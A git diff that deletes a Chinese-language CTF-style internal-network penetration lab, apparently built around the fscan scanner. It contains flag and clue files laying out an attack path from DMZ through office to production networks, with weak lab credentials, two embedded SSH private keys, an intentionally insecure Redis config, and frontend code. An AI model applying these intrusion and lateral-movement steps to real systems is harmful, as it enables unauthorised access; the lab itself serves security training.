/var/log/frps.log" -else - echo "[-] FRP 服务端启动失败" - exit 1 -fi diff --git a/fscan-lab/docker/services/office/pc-ssh/.bash_history b/fscan-lab/docker/services/office/pc-ssh/.bash_history deleted file mode 100644 index cdb30381..00000000 --- a/fscan-lab/docker/services/office/pc-ssh/.bash_history +++ /dev/null @@ -1,8 +0,0 @@ -ls -la -cd /var/www -cat config.php -redis-cli -h 10.10.3.31 -a redis123 -redis-cli -h 10.10.3.31 -a redis123 ping -ssh admin@10.10.3.30 -mysql -h 10.10.4.40 -u root -pPassword -exit diff --git a/fscan-lab/docker/services/production/elasticsearch/init-es.sh b/fscan-lab/docker/services/production/elasticsearch/init-es.sh deleted file mode 100644 index 00d0044f..00000000 --- a/fscan-lab/docker/services/production/elasticsearch/init-es.sh +++ /dev/null @@ -1,42 +0,0 @@ -#!/bin/bash -# Elasticsearch 初始化脚本 -# 等待 ES 启动后插入 flag8 数据 - -sleep 30 # 等待 Elasticsearch 完全启动 - -# 创建包含 flag8 的索引 -curl -X PUT "localhost:9200/secrets" -H 'Content-Type: application/json' -d' -{ - "settings": { - "number_of_shards": 1, - "number_of_replicas": 0 - } -}' - -# 插入 flag8 文档 -curl -X POST "localhost:9200/secrets/_doc/1" -H 'Content-Type: application/json' -d' -{ - "flag": "FSCAN_LAB{3l4st1cs34rch_un4uth0r1z3d}", - "description": "Elasticsearch Unauthorized Access Flag", - "network": "production", - "service": "elasticsearch", - "timestamp": "2024-12-17T00:00:00Z" -}' - -# 插入其他敏感数据 -curl -X POST "localhost:9200/secrets/_doc/2" -H 'Content-Type: application/json' -d' -{ - "db_host": "10.10.4.40", - "db_type": "MySQL", - "db_user": "root", - "db_hint": "Check backup server for password" -}' - -curl -X POST "localhost:9200/secrets/_doc/3" -H 'Content-Type: application/json' -d' -{ - "redis_host": "10.10.3.31", - "redis_password": "redis123", - "cache_type": "production" -}' - -echo "Elasticsearch initialized with flag8" diff --git a/fscan-lab/docker/services/production/redis/init.sh b/fscan-lab/docker/services/production/redis/init.sh deleted file mode 100644 index 8328934e..00000000 --- a/fscan-lab/docker/services/production/redis/init.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/bash -# 这个脚本在 Redis 启动后设置 flag -sleep 5 -redis-cli -a redis123 SET flag5 "FSCAN_LAB{r3d1s_un4uth0r1z3d_4cc3ss}" -redis-cli -a redis123 SET hint "Check /root/.ssh for SSH keys to core network" -echo "Redis flag initialized" diff --git a/fscan-lab/flags/clues/dmz_clue.txt b/fscan-lab/flags/clues/dmz_clue.txt deleted file mode 100644 index 02b91f41..00000000 --- a/fscan-lab/flags/clues/dmz_clue.txt +++ /dev/null @@ -1,30 +0,0 @@ -==================================== - 下一步行动指引 -==================================== - -你已经成功进入 DMZ 区的 FTP 服务器! - -发现的关键文件: - 1. SSH 私钥:/home/admin/.ssh/office_key - 2. 该私钥可以访问 VPN 网关 (10.10.1.13) - -VPN 网关是双网卡主机: - - DMZ 侧:10.10.1.13 - - 办公网侧:10.10.2.2 - -攻击路径: - 1. 下载 SSH 私钥 - 2. 使用私钥连接 VPN 网关 - 3. 从 VPN 网关扫描办公网 - -命令示例: - # 下载私钥(已在当前目录) - chmod 600 office_key - - # 连接 VPN 网关 - ssh -i office_key root@10.10.1.13 - - # 扫描办公网 - fscan -h 10.10.2.0/24 - -加油! diff --git a/fscan-lab/flags/clues/printer_info.txt b/fscan-lab/flags/clues/printer_info.txt deleted file mode 100644 index 6282fda4..00000000 --- a/fscan-lab/flags/clues/printer_info.txt +++ /dev/null @@ -1,17 +0,0 @@ -==================================== - 办公网打印机配置信息 -==================================== - -设备型号: HP LaserJet Pro M404n -IP地址: 10.10.2.23 -SMB共享: 已启用 - -管理员账户: -- 用户名: printer -- 密码: [已保存在密码管理器] - -共享文件夹: -- print$ (打印机驱动) -- backup (打印任务备份) - -注意: 为了方便管理,使用了简单密码 diff --git a/fscan-lab/flags/clues/prod_hosts.txt b/fscan-lab/flags/clues/prod_hosts.txt deleted file mode 100644 index 1a7a5c7f..00000000 --- a/fscan-lab/flags/clues/prod_hosts.txt +++ /dev/null @@ -1,27 +0,0 @@ -==================================== - 生产网主机清单 -==================================== - -网段:10.10.3.0/24 - -已知主机: - 10.10.3.30 - app-web (Tomcat 应用服务器) - 10.10.3.31 - cache-redis (Redis 缓存,密码:redis123) - 10.10.3.32 - mq-rabbit (RabbitMQ) - 10.10.3.33 - mq-activemq (ActiveMQ) - 10.10.3.34 - search-es (Elasticsearch) - -重点目标: - ★ Redis (10.10.3.31) - 已知密码,可能存在写入漏洞 - -防火墙策略: - - 办公网 -> 生产网:只允许特定端口 - - 生产网 -> 核心网:全通(一旦进入生产网,可以访问核心网!) - -核心网预览: - 10.10.4.0/24 - 数据库集群和域控 - -策略建议: - 1. 通过 Redis 获取立足点 - 2. 横向移动到其他生产主机 - 3. 扫描核心网寻找数据库 diff --git a/fscan-lab/flags/clues/prod_redis.conf b/fscan-lab/flags/clues/prod_redis.conf deleted file mode 100644 index 3614135b..00000000 --- a/fscan-lab/flags/clues/prod_redis.conf +++ /dev/null @@ -1,18 +0,0 @@ -# Redis 配置文件(生产网备份) - -bind 0.0.0.0 -protected-mode no -port 6379 -requirepass redis123 - -# 注意:此配置存在安全风险 -# Redis 密码:redis123 -# 主机:10.10.3.31 - -# 可能的攻击向量: -# 1. 使用密码认证后写入 SSH 公钥 -# 2. 利用 Redis 执行 Lua 脚本 -# 3. 配置文件写入攻击 - -# 从办公网连接: -# redis-cli -h 10.10.3.31 -a redis123 diff --git a/fscan-lab/flags/flag1.txt b/fscan-lab/flags/flag1.txt deleted file mode 100644 index e466d66a..00000000 --- a/fscan-lab/flags/flag1.txt +++ /dev/null @@ -1,15 +0,0 @@ -╔═══════════════════════════════════════════════════════╗ -║ FLAG 1 - DMZ 侦察 ║ -╚═══════════════════════════════════════════════════════╝ - -恭喜!你成功发现了 DMZ 区的 Web 服务器! - -Flag: FSCAN_LAB{w3b_f1ng3rpr1nt_d1sc0v3ry} - -下一步提示: -- DMZ 区还有其他服务(FTP、SMTP、SSH) -- FTP 服务器可能有弱密码 -- 尝试爆破 FTP: admin/123456 - -fscan 命令示例: - fscan -h 10.10.1.12 -m ftp -user admin -pwd 123456 diff --git a/fscan-lab/flags/flag10.txt b/fscan-lab/flags/flag10.txt deleted file mode 100644 index 269328a2..00000000 --- a/fscan-lab/flags/flag10.txt +++ /dev/null @@ -1,9 +0,0 @@ -============================================ - MSSQL 数据库攻击成功 -============================================ - -恭喜!你成功攻破了 MSSQL 数据库。 - -Flag: FSCAN_LAB{mssql_s4_4cc0unt_pwn3d} - -从 master.dbo.secrets 表中获取了核心数据。 diff --git a/fscan-lab/flags/flag11.txt b/fscan-lab/flags/flag11.txt deleted file mode 100644 index 2958bc1d..00000000 --- a/fscan-lab/flags/flag11.txt +++ /dev/null @@ -1,9 +0,0 @@ -============================================ - VNC 远程桌面入侵成功 -============================================ - -恭喜!你成功通过 VNC 弱密码获取了办公网主机的远程控制权。 - -Flag: FSCAN_LAB{vnc_r3m0t3_d3skt0p_pwn3d} - -VNC 密码管理不当是常见的安全隐患... diff --git a/fscan-lab/flags/flag12.txt b/fscan-lab/flags/flag12.txt deleted file mode 100644 index d9fe55e6..00000000 --- a/fscan-lab/flags/flag12.txt +++ /dev/null @@ -1,9 +0,0 @@ -============================================ - 老旧 Telnet 服务入侵成功 -============================================ - -恭喜!你成功利用古老的 Telnet 服务获取了访问权限。 - -Flag: FSCAN_LAB{t3ln3t_l3g4cy_syst3m} - -这台主机运行着过时的 Telnet 服务,属于遗留系统... diff --git a/fscan-lab/flags/flag13.txt b/fscan-lab/flags/flag13.txt deleted file mode 100644 index acce27d7..00000000 --- a/fscan-lab/flags/flag13.txt +++ /dev/null @@ -1 +0,0 @@ -FSCAN_LAB{smb_pr1nt3r_sh4r3_pwn3d} diff --git a/fscan-lab/flags/flag2.txt b/fscan-lab/flags/flag2.txt deleted file mode 100644 index d5e0a474..00000000 --- a/fscan-lab/flags/flag2.txt +++ /dev/null @@ -1,20 +0,0 @@ -╔═══════════════════════════════════════════════════════╗ -║ FLAG 2 - FTP 突破 ║ -╚═══════════════════════════════════════════════════════╝ - -干得好!你通过 FTP 弱密码成功进入了 DMZ 区! - -Flag: FSCAN_LAB{ftp_w34k_p4ssw0rd_pwn} - -下一步提示: -- 查看当前目录的其他文件 -- 注意 .ssh 目录中的私钥 -- VPN 网关 (10.10.1.13) 是进入办公网的跳板 - -关键文件: - /home/admin/.ssh/office_key (办公网 SSH 私钥) - /home/admin/next_step.txt (下一步指引) - -连接 VPN 网关: - chmod 600 office_key - ssh -i office_key root@10.10.1.13 diff --git a/fscan-lab/flags/flag3.txt b/fscan-lab/flags/flag3.txt deleted file mode 100644 index c6b578ac..00000000 --- a/fscan-lab/flags/flag3.txt +++ /dev/null @@ -1,19 +0,0 @@ -╔═══════════════════════════════════════════════════════╗ -║ FLAG 3 - VPN 网关 ║ -╚═══════════════════════════════════════════════════════╝ - -出色!你已经通过 VPN 网关进入办公网! - -Flag: FSCAN_LAB{vpn_g4t3w4y_br34ch3d} - -当前网络: - - DMZ 接口: 10.10.1.13 - - 办公网接口: 10.10.2.2 - -下一步提示: -- 从 VPN 网关扫描办公网 (10.10.2.0/24) -- 重点关注备份服务器 (Rsync 873 端口) -- Rsync 可能配置为未授权访问 - -扫描命令: - fscan -h 10.10.2.0/24 -p 22,873,5900,23,161 diff --git a/fscan-lab/flags/flag4.txt b/fscan-lab/flags/flag4.txt deleted file mode 100644 index 2636903f..00000000 --- a/fscan-lab/flags/flag4.txt +++ /dev/null @@ -1,20 +0,0 @@ -╔═══════════════════════════════════════════════════════╗ -║ FLAG 4 - 办公网备份服务器 ║ -╚═══════════════════════════════════════════════════════╝ - -太棒了!你找到了备份服务器的敏感数据! - -Flag: FSCAN_LAB{rsync_b4ckup_l34k} - -备份文件内容: - ✓ prod_redis.conf - 生产网 Redis 配置 - ✓ prod_hosts.txt - 生产网主机列表 - ✓ ssh_keys/prod_jump_key - 生产网跳板私钥 - -下一步提示: -- 使用 Redis 密码连接生产网 Redis (10.10.3.31) -- Redis 可能启用了密码保护但有漏洞 -- 利用 Redis 写入 SSH 公钥进行横向移动 - -获取备份文件: - rsync -av rsync://10.10.2.22/backup/credentials/ ./ diff --git a/fscan-lab/flags/flag5.txt b/fscan-lab/flags/flag5.txt deleted file mode 100644 index 8bb16c1f..00000000 --- a/fscan-lab/flags/flag5.txt +++ /dev/null @@ -1,2 +0,0 @@ -FLAG 5 存储在 Redis 中,使用命令获取: -redis-cli -h 10.10.3.31 -a redis123 GET flag5 diff --git a/fscan-lab/flags/flag6.txt b/fscan-lab/flags/flag6.txt deleted file mode 100644 index b0c2eb93..00000000 --- a/fscan-lab/flags/flag6.txt +++ /dev/null @@ -1,2 +0,0 @@ -FLAG 6 存储在 MySQL 中,使用命令获取: -mysql -h 10.10.4.40 -u root -pPassword -e "SELECT flag FROM secrets.flags WHERE id=1;" diff --git a/fscan-lab/flags/flag7.txt b/fscan-lab/flags/flag7.txt deleted file mode 100644 index 8a9d49a1..00000000 --- a/fscan-lab/flags/flag7.txt +++ /dev/null @@ -1,2 +0,0 @@ -FLAG 7 (最终 Flag) 存储在 MongoDB 中,使用命令获取: -mongosh mongodb://admin:mongo123@10.10.4.43/admin --eval "db.admin_secrets.find({type:'flag'}).pretty()" diff --git a/fscan-lab/flags/flag8.txt b/fscan-lab/flags/flag8.txt deleted file mode 100644 index 2a0e2d5b..00000000 --- a/fscan-lab/flags/flag8.txt +++ /dev/null @@ -1,9 +0,0 @@ -============================================ - Elasticsearch 情报收集成功 -============================================ - -恭喜!你成功利用 Elasticsearch 未授权访问漏洞获取了生产网的敏感信息。 - -Flag: FSCAN_LAB{3l4st1cs34rch_un4uth0r1z3d} - -提示:在生产环境的索引中发现了数据库凭证信息... diff --git a/fscan-lab/flags/flag9.txt b/fscan-lab/flags/flag9.txt deleted file mode 100644 index 209775a3..00000000 --- a/fscan-lab/flags/flag9.txt +++ /dev/null @@ -1,9 +0,0 @@ -============================================ - PostgreSQL 数据库渗透成功 -============================================ - -恭喜!你成功爆破了 PostgreSQL 数据库密码。 - -Flag: FSCAN_LAB{p0stgr3s_d4t4b4s3_pwn3d} - -从 business.secrets 表中获取了企业核心业务数据。 diff --git a/fscan-lab/flags/office_key b/fscan-lab/flags/office_key deleted file mode 100644 index 3e11d539..00000000 --- a/fscan-lab/flags/office_key +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn -NhAAAAAwEAAQAAAQEA3ZnNZei9g7KMDlKfiMZA4bR4EgBmF63rYKEDXEukuLmS8edU8O7s -11qEh9EY2P1SWk+j2f1t4PLWHE7FHoKvxWtsgoCy0AfZdbSdUqE/1L23SKJcpzE2NNr1VS -xDvZjMZEt0yiF3a8CHLsOifuDjeUm2dlorT8A934k9Lw5RTZZ8OUgxzf/JiYCDzlOFl0hG -QYKLxujC9a3H3fzApPKRIttkzEt8YvUPfcIwBkazR8mCAqXlKJD9d0P3/PNXp+GgNVnPPB -fhl4v0Jfski2w4BpdVkIcgo/bpNCYhT84Oq3HHQy2iLp00/W3kBdVslwjzWVjDvF3XR36+ -7EZM4L0rMQAAA8jmRkJ75kZCewAAAAdzc2gtcnNhAAABAQDdmc1l6L2DsowOUp+IxkDhtH -gSAGYXretgoQNcS6S4uZLx51Tw7uzXWoSH0RjY/VJaT6PZ/W3g8tYcTsUegq/Fa2yCgLLQ -B9l1tJ1SoT/UvbdIolynMTY02vVVLEO9mMxkS3TKIXdrwIcuw6J+4ON5SbZ2WitPwD3fiT -0vDlFNlnw5SDHN/8mJgIPOU4WXSEZBgovG6ML1rcfd/MCk8pEi22TMS3xi9Q99wjAGRrNH -yYICpeUokP13Q/f881en4aA1Wc88F+GXi/Ql+ySLbDgGl1WQhyCj9uk0JiFPzg6rccdDLa -IunTT9beQF1WyXCPNZWMO8XddHfr7sRkzgvSsxAAAAAwEAAQAAAQAGXMM5jvE7AeI0ypE/ -Rm7oNAvi+20y9pi8k17i9F6IObbC+ID3MmrtI3GM6zdXCo3l3yW9jWHNXLeCRE4zSi4FAW -iyBgMsRx9qmlsOe2f3YhOMM7IskDSF17gFwCG5RLTwl7yEjamtt69B69bDZQ5O5guFsiDO -dz7nhzuRGWyC6VadqgsoNaGUFmyJya9y8/aBSuNZEZ8dOlBdR3jcRsrOCXQneQpLWfYQgC -9KlFFgQVyO2VxaD6drEcqU8+fUVJlftHRn4J5R6D/CG2KxfB7g6LXUcaCVZBY55kWBPfpY -lJocp6EtAVX8dLl/oRKWmJYHkQBO6d0zzwNfVryT/HwBAAAAgQCnYylI9zS6aCmw+aiS2C -JQAECbS5T90xrwqR1IRGb6DJAQKqzHbF6YFW/QOMSCuWktmC8wKBMhj6UFywzjZuvPSJW2 -gJodi50cmozfylSKvBlmPJEUI/8Wn6Yn2nYOUjTC5tUa3r2rtiH8M+3q2L/tGPJZhmRHXe -kaMDxtSNwUgwAAAIEA8kaZXYccjFRueVQP1CMYhmybAkRVBU242Iuz1LYmvURi2IAeYQi8 -jmS1ilZB/j2BPKFE6yxvYaNBYRoJ3DKhTrydR13wb68xSUU9wWN1qkwuHpNdxNCORCsaEp -1Mwexf7u9fnA/FpV+yNbJkXKBNTtkMrnwrrrLTPLdP0vNtMgEAAACBAOonYbHWki46kDIS -+Fa9LHkIVHH2Odpq7hGTtuJXXao55ac6nbAkBR8yOCCXmV4kw2PYMqPogUGptAhN1Yd3cB -Q04vNWkwkkxObuQempaJE6PMLY12IdouStAgCl43d+Mlo5AOnjYq0MgJbcGMkgHsp0wzbQ -+8XRKsLeeDJd9JkxAAAADm9mZmljZV92cG5fa2V5AQIDBA== ------END OPENSSH PRIVATE KEY----- diff --git a/fscan-lab/flags/prod_jump_key b/fscan-lab/flags/prod_jump_key deleted file mode 100644 index 430597e2..00000000 --- a/fscan-lab/flags/prod_jump_key +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn -NhAAAAAwEAAQAAAQEArEEc3XJcEgI3lVfJ4eidJqKHFywOpbmNjHRgqWj4VDbmgE1yUQI3 -fN+/C68in7muvV2RSGM9/kaFYksmiFV4HG17vozsJNIRpG0kA6zi7qhKPVcCFDuZejpfUp -O4SyuJRBzCOy3LxEVudHpc855499eKdDAxDamj4e5vrl01jroOutRMO0PuWsJHS2Y6B0W/ -uMkfZvw07nAKyN9TpxaXiTakEAvlioYZKBQkag2LpRJ7uTAM3sfqH5FpI5VHkHVhVfsfrM -pr0LfElVOiPMUmx6sheGoqUQfvgCQy4CN+tUwmK7c7zlKcsNso3aVQ0YpwLemoxQXzzmI0 -a1afKdJIEQAAA8gWusYkFrrGJAAAAAdzc2gtcnNhAAABAQCsQRzdclwSAjeVV8nh6J0moo -cXLA6luY2MdGCpaPhUNuaATXJRAjd8378LryKfua69XZFIYz3+RoViSyaIVXgcbXu+jOwk -0hGkbSQDrOLuqEo9VwIUO5l6Ol9Sk7hLK4lEHMI7LcvERW50elzznnj314p0MDENqaPh7m -+uXTWOug661Ew7Q+5awkdLZjoHRb+4yR9m/DTucArI31OnFpeJNqQQC+WKhhkoFCRqDYul -Enu5MAzex+ofkWkjlUeQdWFV+x+symvQt8SVU6I8xSbHqyF4aipRB++AJDLgI361TCYrtz -vOUpyw2yjdpVDRinAt6ajFBfPOYjRrVp8p0kgRAAAAAwEAAQAAAQASF3Oj6Y00ggGbAKGu -RbttsZ/NJf4y10J/6EA3wtPkKnD6tEenrPstdSWQYVhaXMr2ziNCblP2Rytet8RoCMwI9l -HLIWty8ZJTSfhAn5GlHc1QVHleLSVRQly9JFE0qfGskvWueAChEGbJuolVOAV+CGgdDGu2 -guT4x414y4biwsjR0K2z9eJS8rrMOlXHs35ZDC+Hqzvjgoum3hJx6NZzJLV3+MJWiYSX4J -5+2zQhNW4anXeuFUzqdLlUYCs95Djr26699xu2RcpKAvjCEU2sZKRnK7j7nUXS4sBy4fEJ -+UTJfutkZ6dXZjTe9eSHBsNbehQERu4h31mxFeeLLInNAAAAgB5Kj6NZ5rtJcTBnwWuBg0 -Vc1YVo03vx3DC7F2HzqDp0WZ9o1jNtXeI1ptrEHgWxtxADeTEaJ25sViXZjf2O5wSDreu3 -UlXhaLKQvwCQ3yRk/JvDuuKOCmRDpn3VrP+zevbwRIto9V0NHNPwX70LmibBI7W0N3qeFI -ul/GW1M+JvAAAAgQDy2CAp/7YZ5ZGz7clvGBtbP+mmkR9U4U/OH9dS0q8ja4y8SVZFYKip -AcPcFUCkSuuMq1xs38zh6RPApACE79SHbCmOlQnbRcR4ymEZAlU+tAxZ2SCV0TPE0D8Knd -+OUrXZTmdjxRVJYiKWabgivXw/eKdOx19LhdSt1eqdWQWztQAAAIEAtZYDrUcuuFZ3pjIQ -uBOhlxRLwxzaHI/8y+hQYEOuObKZ9It7gua2HL3mMqY+LlOYRfXJ8bRRpHIfYpfBepzazY -tKvjXMpTUL868BuAX3c8CPMdlIg694nyDmQFOCAXDPkNm3F6GVoMaieFtLtmhbuIOXjtre -kbciQMlWhijUNG0AAAANcHJvZF9qdW1wX2tleQECAwQFBg== ------END OPENSSH PRIVATE KEY----- diff --git a/fscan-lab/frontend/Dockerfile b/fscan-lab/frontend/Dockerfile deleted file mode 100644 index 479a3977..00000000 --- a/fscan-lab/frontend/Dockerfile +++ /dev/null @@ -1,18 +0,0 @@ -FROM node:20-alpine AS builder - -WORKDIR /app - -COPY package*.json ./ -RUN npm install - -COPY . . -RUN npm run build - -FROM nginx:alpine - -COPY --from=builder /app/dist /usr/share/nginx/html -COPY nginx.conf /etc/nginx/conf.d/default.conf - -EXPOSE 3000 - -CMD ["nginx", "-g", "daemon off;"] diff --git a/fscan-lab/frontend/index.html b/fscan-lab/frontend/index.html deleted file mode 100644 index 0be2df24..00000000 --- a/fscan-lab/frontend/index.html +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - fscan Lab - 内网渗透训练平台 - - -
- - - diff --git a/fscan-lab/frontend/nginx.conf b/fscan-lab/frontend/nginx.conf deleted file mode 100644 index 6528578f..00000000 --- a/fscan-lab/frontend/nginx.conf +++ /dev/null @@ -1,16 +0,0 @@ -server { - listen 3000; - server_name localhost; - root /usr/share/nginx/html; - index index.html; - - location / { - try_files $uri $uri/ /index.html; - } - - location /api { - proxy_pass http://lab-api:8888; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - } -} diff --git a/fscan-lab/frontend/package.json b/fscan-lab/frontend/package.json deleted file mode 100644 index 0f055034..00000000 --- a/fscan-lab/frontend/package.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "name": "fscan-lab-ui", - "private": true, - "version": "1.0.0", - "type": "module", - "scripts": { - "dev": "vite", - "build": "tsc && vite build", - "preview": "vite preview" - }, - "dependencies": { - "react": "^18.2.0", - "react-dom": "^18.2.0", - "react-router-dom": "^6.20.0", - "reactflow": "^11.10.1", - "@radix-ui/react-progress": "^1.0.3", - "@radix-ui/react-slot": "^1.0.2", - "@radix-ui/react-tabs": "^1.0.4", - "class-variance-authority": "^0.7.0", - "clsx": "^2.0.0", - "lucide-react": "^0.294.0", - "tailwind-merge": "^2.1.0", - "tailwindcss-animate": "^1.0.7", - "axios": "^1.6.2" - }, - "devDependencies": { - "@types/react": "^18.2.43", - "@types/react-dom": "^18.2.17", - "@typescript-eslint/eslint-plugin": "^6.14.0", - "@typescript-eslint/parser": "^6.14.0", - "@vitejs/plugin-react": "^4.2.1", - "autoprefixer": "^10.4.16", - "postcss": "^8.4.32", - "tailwindcss": "^3.3.6", - "typescript": "^5.2.2", - "vite": "^5.0.8" - } -} diff --git a/fscan-lab/frontend/postcss.config.js b/fscan-lab/frontend/postcss.config.js deleted file mode 100644 index 2e7af2b7..00000000 --- a/fscan-lab/frontend/postcss.config.js +++ /dev/null @@ -1,6 +0,0 @@ -export default { - plugins: { - tailwindcss: {}, - autoprefixer: {}, - }, -} diff --git a/fscan-lab/frontend/src/App.tsx b/fscan-lab/frontend/src/App.tsx deleted file mode 100644 index 91a1b7f6..00000000 --- a/fscan-lab/frontend/src/App.tsx +++ /dev/null @@ -1,76 +0,0 @@ -import { BrowserRouter as Router, Routes, Route, Link } from 'react-router-dom' -import { Target, Map, Trophy, Languages } from 'lucide-react' -import Dashboard from './pages/Dashboard' -import Topology from './pages/Topology' -import Challenges from './pages/Challenges' -import { useI18n } from './contexts/I18nContext' -import { Button } from './components/ui/button' - -function App() { - const { language, setLanguage, t } = useI18n() - - return ( - -
- - -
- - } /> - } /> - } /> - -
-
-
- ) -} - -export default App diff --git a/fscan-lab/frontend/src/components/ui/badge.tsx b/fscan-lab/frontend/src/components/ui/badge.tsx deleted file mode 100644 index f000e3ef..00000000 --- a/fscan-lab/frontend/src/components/ui/badge.tsx +++ /dev/null @@ -1,36 +0,0 @@ -import * as React from "react" -import { cva, type VariantProps } from "class-variance-authority" - -import { cn } from "@/lib/utils" - -const badgeVariants = cva( - "inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2", - { - variants: { - variant: { - default: - "border-transparent bg-primary text-primary-foreground hover:bg-primary/80", - secondary: - "border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80", - destructive: - "border-transparent bg-destructive text-destructive-foreground hover:bg-destructive/80", - outline: "text-foreground", - }, - }, - defaultVariants: { - variant: "default", - }, - } -) - -export interface BadgeProps - extends React.HTMLAttributes, - VariantProps {} - -function Badge({ className, variant, ...props }: BadgeProps) { - return ( -
- ) -} - -export { Badge, badgeVariants } diff --git a/fscan-lab/frontend/src/components/ui/button.tsx b/fscan-lab/frontend/src/components/ui/button.tsx deleted file mode 100644 index 0ba42773..00000000 --- a/fscan-lab/frontend/src/components/ui/button.tsx +++ /dev/null @@ -1,56 +0,0 @@ -import * as React from "react" -import { Slot } from "@radix-ui/react-slot" -import { cva, type VariantProps } from "class-variance-authority" - -import { cn } from "@/lib/utils" - -const buttonVariants = cva( - "inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50", - { - variants: { - variant: { - default: "bg-primary text-primary-foreground hover:bg-primary/90", - destructive: - "bg-destructive text-destructive-foreground hover:bg-destructive/90", - outline: - "border border-input bg-background hover:bg-accent hover:text-accent-foreground", - secondary: - "bg-secondary text-secondary-foreground hover:bg-secondary/80", - ghost: "hover:bg-accent hover:text-accent-foreground", - link: "text-primary underline-offset-4 hover:underline", - }, - size: { - default: "h-10 px-4 py-2", - sm: "h-9 rounded-md px-3", - lg: "h-11 rounded-md px-8", - icon: "h-10 w-10", - }, - }, - defaultVariants: { - variant: "default", - size: "default", - }, - } -) - -export interface ButtonProps - extends React.ButtonHTMLAttributes, - VariantProps { - asChild?: boolean -} - -const Button = React.forwardRef( - ({ className, variant, size, asChild = false, ...props }, ref) => { - const Comp = asChild ? Slot : "button" - return ( - - ) - } -) -Button.displayName = "Button" - -export { Button, buttonVariants } diff --git a/fscan-lab/frontend/src/components/ui/card.tsx b/fscan-lab/frontend/src/components/ui/card.tsx deleted file mode 100644 index afa13ecf..00000000 --- a/fscan-lab/frontend/src/components/ui/card.tsx +++ /dev/null @@ -1,79 +0,0 @@ -import * as React from "react" - -import { cn } from "@/lib/utils" - -const Card = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -Card.displayName = "Card" - -const CardHeader = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -CardHeader.displayName = "CardHeader" - -const CardTitle = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardTitle.displayName = "CardTitle" - -const CardDescription = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardDescription.displayName = "CardDescription" - -const CardContent = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardContent.displayName = "CardContent" - -const CardFooter = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -CardFooter.displayName = "CardFooter" - -export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent } diff --git a/fscan-lab/frontend/src/components/ui/input.tsx b/fscan-lab/frontend/src/components/ui/input.tsx deleted file mode 100644 index 677d05fd..00000000 --- a/fscan-lab/frontend/src/components/ui/input.tsx +++ /dev/null @@ -1,25 +0,0 @@ -import * as React from "react" - -import { cn } from "@/lib/utils" - -export interface InputProps - extends React.InputHTMLAttributes {} - -const Input = React.forwardRef( - ({ className, type, ...props }, ref) => { - return ( - - ) - } -) -Input.displayName = "Input" - -export { Input } diff --git a/fscan-lab/frontend/src/components/ui/progress.tsx b/fscan-lab/frontend/src/components/ui/progress.tsx deleted file mode 100644 index 105fb650..00000000 --- a/fscan-lab/frontend/src/components/ui/progress.tsx +++ /dev/null @@ -1,26 +0,0 @@ -import * as React from "react" -import * as ProgressPrimitive from "@radix-ui/react-progress" - -import { cn } from "@/lib/utils" - -const Progress = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, value, ...props }, ref) => ( - - - -)) -Progress.displayName = ProgressPrimitive.Root.displayName - -export { Progress } diff --git a/fscan-lab/frontend/src/components/ui/tabs.tsx b/fscan-lab/frontend/src/components/ui/tabs.tsx deleted file mode 100644 index f57fffdb..00000000 --- a/fscan-lab/frontend/src/components/ui/tabs.tsx +++ /dev/null @@ -1,53 +0,0 @@ -import * as React from "react" -import * as TabsPrimitive from "@radix-ui/react-tabs" - -import { cn } from "@/lib/utils" - -const Tabs = TabsPrimitive.Root - -const TabsList = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsList.displayName = TabsPrimitive.List.displayName - -const TabsTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsTrigger.displayName = TabsPrimitive.Trigger.displayName - -const TabsContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsContent.displayName = TabsPrimitive.Content.displayName - -export { Tabs, TabsList, TabsTrigger, TabsContent } diff --git a/fscan-lab/frontend/src/contexts/I18nContext.tsx b/fscan-lab/frontend/src/contexts/I18nContext.tsx deleted file mode 100644 index d9460449..00000000 --- a/fscan-lab/frontend/src/contexts/I18nContext.tsx +++ /dev/null @@ -1,40 +0,0 @@ -import { createContext, useContext, useState, ReactNode } from 'react' -import { translations, Language, TranslationKey } from '@/lib/i18n' - -interface I18nContextType { - language: Language - setLanguage: (lang: Language) => void - t: (key: TranslationKey) => string -} - -const I18nContext = createContext(undefined) - -export function I18nProvider({ children }: { children: ReactNode }) { - const [language, setLanguage] = useState(() => { - const saved = localStorage.getItem('language') - return (saved === 'zh' || saved === 'en') ? saved : 'zh' - }) - - const handleSetLanguage = (lang: Language) => { - setLanguage(lang) - localStorage.setItem('language', lang) - } - - const t = (key: TranslationKey): string => { - return translations[language][key] || key - } - - return ( - - {children} - - ) -} - -export function useI18n() { - const context = useContext(I18nContext) - if (!context) 